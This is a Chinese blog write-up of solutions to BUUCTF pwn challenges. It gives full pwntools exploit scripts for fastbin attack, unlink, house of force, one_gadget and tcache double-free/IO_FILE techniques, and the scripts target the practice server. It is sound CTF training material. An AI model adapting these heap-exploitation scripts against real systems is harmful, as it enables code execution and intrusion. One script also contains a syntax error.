• BUUCTF【pwn】解题记录(4-6页持续更新中)



    继续水题之旅…

    oneshot_tjctf_2016

    就是泄露got表之后,搞一个onegadget

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 29723
        conn = remote(HOST ,PORT)
        pause()
    
        pos = 0x600AD8
        conn.recvuntil("Read location?")
        conn.sendline(str(pos))
        conn.recvuntil("Value: ")
        puts_leak = conn.recvuntil("\n",drop=True)
        puts_leak = int(puts_leak,16)
        libc = LibcSearcher("puts",puts_leak)
        libc_base = puts_leak - libc.dump("puts")
        onegadget = libc_base + 0xf1147
        conn.recvuntil("Jump location?")
        conn.sendline(str(onegadget))
    
        #pause()
        conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    wustctf2020_easyfast

    最最简单额fastbin attack,连hook都不用了,直接在功能4中有system函数,只需要修改一个qword_602090变成零。
    在这里插入图片描述

    通过观察这个全局变量上面有个0x50,正好可以作为fastbin attack检查得size
    在这里插入图片描述

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    def create(size):
        conn.recvuntil("choice>")
        conn.sendline("1")
        conn.recvuntil("size>")
        conn.sendline(str(size))
    
    def delete(index):
        conn.recvuntil("choice>")
        conn.sendline("2")
        conn.recvuntil("index>")
        conn.sendline(str(index))
    
    def edit(index,content):
        conn.recvuntil("choice>")
        conn.sendline("3")
        conn.recvuntil("index>")
        conn.sendline(str(index))
        content = content.ljust(8,"\x00")
        conn.send(content)
    
    def getshell():
        conn.recvuntil("choice>")
        conn.sendline("4")
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 27315
        conn = remote(HOST ,PORT)
        pause()
    
        key_pos = 0x602080
        create(0x40)
        delete(0)
        edit(0,p64(key_pos))
        create(0x40)
        create(0x40)
        edit(2,p64(0))
        getshell()
    
        conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

    护网杯_2018_gettingstart

    这个题目本质上是考察了IEEE 754标准的double型存储格式,但是呢我们可以偷懒…自己编译一个c文件,然后调试一下copy出来就行了…其实这个玩儿法很多,还见过float shell,那个就很酸爽了

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 29307
        conn = remote(HOST ,PORT)
        pause()
        
        payload = "A"*0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3fb999999999999a)
        conn.sendline(payload)
    
        #pause()
        conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    zctf2016_note2(不同类型比较导致无限堆,好题!!!)

    这个题目是一个非常好的题目!整个过程中分析了题目好多遍,都没有找到传统的泄露或者是溢出漏洞,最后看wp发现,涉及到一个无限堆的概念,我们先看一下真正漏洞的位置如图
    在这里插入图片描述

    首先我们看到,申请堆比较类型是unsigned int,这保证了申请堆大小不超过0x80,其中函数input_int调用了下面出现的input函数,真正的问题就在这个input函数里面
    在这里插入图片描述

    当我们申请堆块大小为0的时候,系统会申请一个0x20大小的堆
    在这里插入图片描述
    然后在输入的时候无限制输入,这就是堆溢出的溢出点!然后可以看到free函数会清空table,并且计数器不会减少,我们最多就申请4哥堆

    而且还需要注意,edit函数是通过strncat和strcpy函数复制内容的,在编辑的时候需要注意截断问题。具体思路就是用unlink进行攻击,构造fake chunk即可,具体看代码很明显的

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    def create(size,content):
        conn.recvuntil("option--->>")
        conn.sendline("1")
        conn.recvuntil("Input the length of the note content:(less than 128)")
        conn.sendline(str(size))
        conn.recvuntil("Input the note content:")
        conn.sendline(content)
    
    def show(index):
        conn.recvuntil("option--->>")
        conn.sendline("2")
        conn.recvuntil("Input the id of the note:")
        conn.sendline(str(index))
    
    def edit(index,mode,content):
        conn.recvuntil("option--->>")
        conn.sendline("3")
        conn.recvuntil("Input the id of the note:")
        conn.sendline(str(index))
        conn.recvuntil("do you want to overwrite or append?[1.overwrite/2.append]")
        conn.sendline(str(mode))
        conn.recvuntil("TheNewContents:")
        conn.sendline(content)
    
    def delete(index):
        conn.recvuntil("option--->>")
        conn.sendline("4")
        conn.recvuntil("Input the id of the note:")
        conn.sendline(str(index))
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 27680
        conn = remote(HOST ,PORT)
        #conn = process(['/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so','./note2'], env = {'LD_PRELOAD' : '/home/assassin/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so'})
        #conn = process("./note2")
        #pwnlib.gdb.attach(conn,"b *0x0400BE8\nb *0x400CB3") #0x400F70
        #pwnlib.gdb.attach(conn,"b *0x400F70")
        pause()
    
        heap_list = 0x602120
        name = "Assassin"
        address = "Assasin's home"
        puts_got = 0x602028
    
        conn.recvuntil("Input your name:")
        conn.sendline(name)
        conn.recvuntil("Input your address:")
        conn.sendline(address)
    
        create(0x10,"0")        #0 , 为后面申请malloc(0)预留空间
        create(0x80,"1")        #1 , unlink 用于free的堆
        create(0x80,"2")        #2 , 构造fake chunk的位置
        delete(0)
        #下面需要注意unlink攻击向下合并的限制要求
        payload = ""
        payload += p64(0)*2
        payload += (p64(0) + p64(0xa1) + p64(0)*18)     #chunk1
        payload += (p64(0) + p64(0x31) + p64(heap_list-0x8) + p64(heap_list) + p64(0)*2)      #chunk2  fake chunk!
        payload += (p64(0x30) + p64(0x20) + p64(0)*2)   #chunk3  
        payload += (p64(0) + p64(0x21) + p64(0)*2)   #chunk4
        ''''''
        create(0,payload)       #3 , malloc(0)
        delete(1)
    
        payload = "a"*8 + p64(puts_got)
        edit(2,1,payload)
        show(0)
        conn.recvuntil("Content is ")
        puts_leak = conn.recvuntil("\n",drop=True)
        puts_leak = u64(puts_leak.ljust(8,"\x00"))
        libc = LibcSearcher("puts",puts_leak)
        libc_base = puts_leak - libc.dump("puts")
        print "The libc base is",hex(libc_base)
        __free_hook = libc_base + libc.dump("__free_hook")
        onegadget = libc_base + 0xf02a4 # 0x4526a   # 0xf02a4 0xf1147
    
        payload = "A"*0x18 + p64(__free_hook)   #就是正常的劫持_free_hook然后实现onegadget
        edit(2,1,payload)
        edit(2,1,p64(onegadget))
    
        #pause()
        conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90

    gyctf_2020_force(house of force)

    可以看到题目只有两个功能,一个是add函数,可以malloc各种堆,另一个是puts函数,基本上没有用处。这个题目就不像是传统的堆的题目,需要malloc和free配合达成利用,而且我们注意到两个条件

    • 第一,申请堆的大小没有做限制,一般题目中都会限制输入大小的,但这里没有
    • 第二,有一个明显的堆溢出,不过申请堆多大都能写入0x50的内容,这样我们就可以控制top chunk的size了
    • 第三,我们在篡改top chunk之前申请一个很大的堆,系统会调用mmap函数,申请位置会在libc附近,可以得到libc地址
    • 第四,程序会泄露heap地址,这就为我们的top chunk申请到什么位置(我选择的是_malloc_hook)

    这下就很容易了…按照步骤来就行了

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    #context_terminal = ["terminator","-x","sh","-c"]
    
    def add(size,content):
        conn.recvuntil("2:puts")
        conn.sendline("1")
        conn.recvuntil("size")
        conn.sendline(str(size))
        conn.recvuntil("bin addr ")
        leak = conn.recvuntil("\n",drop=True)
        leak = int(leak,16)
        conn.recvuntil("content")
        conn.sendline(content)
        return leak
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 28003
        conn = remote(HOST ,PORT)
        pause()
        libc = ELF("libc-2.23-amd64-buuctf.so")
        
        '''第一步:通过申请很大的chunk,使程序调用mmap泄露libc附近地址'''
        leak = add(0x200000,"test")
        libc_base = leak + 0x200ff0
        print "The libc base is",hex(libc_base)
        __malloc_hook = libc_base + libc.symbols['__malloc_hook']  
        __realloc_hook = __malloc_hook - 0x8
        system = libc_base + libc.symbols['system']  
        puts = libc_base + libc.symbols['puts']  
        print "The __malloc_hook is",hex(__malloc_hook)
        print "The system is",hex(system)
    
        '''第二步:house of force,篡改top chunk的size'''
        payload = "\x00"*0x18 + p64(0xffffffffffffffff)
        heap_leak = add(0x18,payload)
    
        '''第三步:计算当前chunk到malloc hook位置需要申请一个多大的chunk'''
        distance = __malloc_hook - 0x40 - heap_leak
        add(distance,payload)
    
        '''第四步:篡改malloc hook'''
        payload = "/bin/sh".ljust(0x10,"\x00") + p64(system) + p64(__malloc_hook-0x10)
        add(0x20,payload)
    
        conn.recvuntil("2:puts")
        conn.sendline("1")
        conn.recvuntil("size")
        conn.sendline(str(__malloc_hook - 0x10))    #这个输入的位置是存放/bin/sh字符串的位置,因为输入大小没有要求,因此可以将size指向字符串地址
    
        #pause()
        conn.interactive()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57

    wustctf2020_number_game

    这个涉及到计算机补码存储的知识,本质上是因为int型存储的范围是-231-231-1,也就是-2147483648~2147483647
    然后肯定是边界的问题,所以直接试一试就知道了
    (水题水的也太开心了把…)

    ciscn_2019_final_2(IO_FILE Exploitation + tcache double free)

    这个题目,很久违地遇见了IO_FILE Exploitation的问题,通过这个题目学习感受到了光知道各种hook可不行,下面详细分析一下这个题目
    题目分析
    首先分析一下题目的情况,我们需要知道的首要条件,BUUCTF的ubuntu18的环境是2.27-3ubuntu1_amd64,这个版本的libc是存在tcache double free漏洞的
    然后看程序功能,需要发现init函数中打开了flag文件,并且将文件指针指向了666
    在这里插入图片描述
    Sandbox_Loading发现程序通过prctl函数,把syscall函数都禁用了,用工具seccomp-tools一看便知,这就打消了我们getshell的想法…
    在这里插入图片描述
    allocate函数分为两个模式,第一种是可以申请0x30大小的堆,然后再第一个和第二个块写入%d的数字,也就是四字节;第二种是申请0x20大小的堆,再第一个和第二个块写入2字节。还需要注意一个全局变量bool,只要任意一个模式申请了,就会赋值为1.

    然后看delete函数,注意两点:一是free后没有清除堆地址,存在UAF漏洞,二是free的限制条件为bool==True,通过交替申请、释放堆可以造成tcache double free
    在这里插入图片描述
    show函数,就是打印内容,打印的大小与模式相同。bye_bye函数猛一看就是输入一个字符串,然后打印字符串,之后exit退出。
    在这里插入图片描述

    解题思路
    通过上述的构造条件,我们大致规划一下解题步骤思路:

    • 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
    • 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
    • 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin__fileno(即stdin的文件描述符)位置
    • 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
    • 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
    • 第六步:运行bye_bye函数触发漏洞

    过程挺复杂的,而且有很多细节,别着急,我们从过程中慢慢看~首先放一份完整的代码

    # -*- coding: utf-8 -*-
    from pwn  import *
    import pwnlib
    from LibcSearcher import *
    context(os='linux',arch='amd64',log_level='debug')
    
    def add_note(type,number):
        conn.recvuntil(">")
        conn.sendline("1")
        conn.recvuntil(">")
        conn.sendline(str(type))
        conn.recvuntil("your inode number:")
        conn.sendline(str(number))
    
    def remove_note(type):
        conn.recvuntil(">")
        conn.sendline("2")
        conn.recvuntil(">")
        conn.sendline(str(type))
    
    def show_note(type):
        conn.recvuntil(">")
        conn.sendline("3")
        conn.recvuntil(">")
        conn.sendline(str(type))
    
    def scanf_and_exit():
        conn.recvuntil(">")
        conn.sendline("4")
    
    if __name__ == '__main__':
        HOST = 'node4.buuoj.cn'
        PORT = 29971
        conn = remote(HOST ,PORT)
        pause()
        #libc = ELF("/home/assassin/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
        libc = ELF("/home/assassin/tools/python_packages/LibcSearcher/libc-database/other_libc_DIY/libc-2.27-amd64-buuctf.so")
        _IO_2_1_stdin_ = libc.symbols["_IO_2_1_stdin_"] 
    
        # 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
        add_note(1,1)
        add_note(2,2)
        add_note(2,3)
        remove_note(1)
        add_note(2,4)
        remove_note(2)
        add_note(1,1)
        remove_note(2)      #0x20 tcache double free
        show_note(2)
    
        #泄露堆地址的低2位,这里足够我们篡改tcache指向的堆地址了
        conn.recvuntil("your short type inode number :")
        heap_leak = int(conn.recvuntil("\n",drop=True))
        heap_leak = (heap_leak + 0x10000) % 0x10000
        print hex(heap_leak)
    
        first_head_addr = heap_leak - 0x80
        add_note(2,first_head_addr)
        add_note(2,first_head_addr)
        add_note(2,0x91)          #篡改第一个0x30堆块的size为0x30 + 3*0x20 = 0x90
    
        # 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
        for x in range(8):
            remove_note(1)
            if x != 7:
                add_note(2,0)
    
        # 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
        show_note(1)
        conn.recvuntil("your int type inode number :")
        libc_leak = int(conn.recvuntil("\n",drop=True))
        libc_leak = (libc_leak + 0x100000000) % 0x100000000
        print "The libc leak is",hex(libc_leak)
    
        __malloc_hook = libc.symbols["__malloc_hook"] % 0x100000000
        libc_base = libc_leak - 96 - 0x10 - __malloc_hook
        print "The libc base is",hex(libc_base)
        _IO_2_1_stdin__fileno = (libc_base + _IO_2_1_stdin_ + 0x70) % 0x100000000
        print "The _IO_2_1_stdin_ _fileno is",hex(_IO_2_1_stdin__fileno)
    
        # 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
        # 第五步:同步完成了,构造0x30大小堆块的tcache double free
        add_note(1,1)
        remove_note(1)
        add_note(2,1)
        remove_note(1)  #顺便构造了0x30大小堆块的double free
        add_note(2,(_IO_2_1_stdin__fileno % 0x10000))
    
        # 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
        # 这里我们必须先泄露堆地址低4位,才能利用double free篡改tcache指向地址
        show_note(1)
        conn.recvuntil("your int type inode number :")
        heap_leak = int(conn.recvuntil("\n",drop=True))
        heap_leak = (heap_leak + 0x100000000) % 0x100000000
        print hex(heap_leak
    
        target = heap_leak + 0x50
        add_note(1,target)
        add_note(1,target)
        add_note(1,666)
        add_note(1,666)     #至此,成功篡改stdin 的文件描述符为666
        
        # 第六步:运行bye_bye函数触发漏洞
        scanf_and_exit()
        conn.recvuntil("what do you want to say at last? ")
        conn.sendline("f")
    
        #pause()
        conn.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109

    代码步骤拆解

    • 第一步:通过第一次构造0x20的double free,利用、篡改free后本身的堆地址,指向某个堆起始地址,修改size为smallbin
      此时已经成功完成了0x20的double free,并且堆的布局如下
      在这里插入图片描述
      在这里插入图片描述
      然后通过利用double free,让0x20的链条,指向0x30的堆头位置

    在这里插入图片描述

    • 第二步:再修改size后,交叉申请0x20堆,释放smallbin大小堆,填满tcache链,直至出现unosrted bin
      在这里插入图片描述
      在这里插入图片描述

    • 第三步:使用show泄露libc低4位地址,计算_IO_2_1_stdin_中_fileno(即stdin的文件描述符)位置
      就是通过show函数去泄露就行

    • 第四步:通过构造,将unsorted bin中某个指向main arena位置的地址,通过修改低2位,指向_fileno
      第四步和第五步有合并的部分(因为free和malloc需要交替进行,偶和了),这里主要看第四步内容,通过前面已知的libc低2位地址,我们可以计算出修改低2位使得unsorted bin被切割的剩余部分,原本指向main_arena的指针指向_IO_2_1_stdin_中的_fileno
      先看一下存放的两个堆地址
      在这里插入图片描述
      在这里插入图片描述
      (中间搞错了换了个图啊,地址可能和前面不太一样)
      值得一提的是,_IO_2_1_stdin_的地址和__malloc_hookmain_arena都是相邻的,所以修改低2位就足够了

    • 第五步:构造0x30大小堆块的tcache double free,然后修改指向我们刚刚篡改至_fileno的位置,直至申请替换stdin的文件描述符为666
      就是double free的利用,注意中间还需要泄露一次堆地址,因为0x30的利用需要知道低4位地址,前面一次泄露只是知道低2位,不够用。
      在这里插入图片描述

    • 第六步:运行bye_bye函数触发漏洞

    最终结果
    在这里插入图片描述

  • 相关阅读:
    XSS攻击(1), 测试XSS漏洞, 获取cookie
    6.9平衡二叉树(LC110-E)
    kafka生产者你不得不知的那些事儿
    智慧公厕解决方案易集成好使用的智能硬件
    vue的配置环境变量
    2022牛客暑期多校训练营9(总结+补题)
    zabbix监控项
    安全座椅行业调研:2022年市场发展现状及未来发展趋势分析
    指针笔试题
    设计模式之一单一职责原则(东方化)
  • 原文地址:https://blog.csdn.net/qq_35078631/article/details/126198024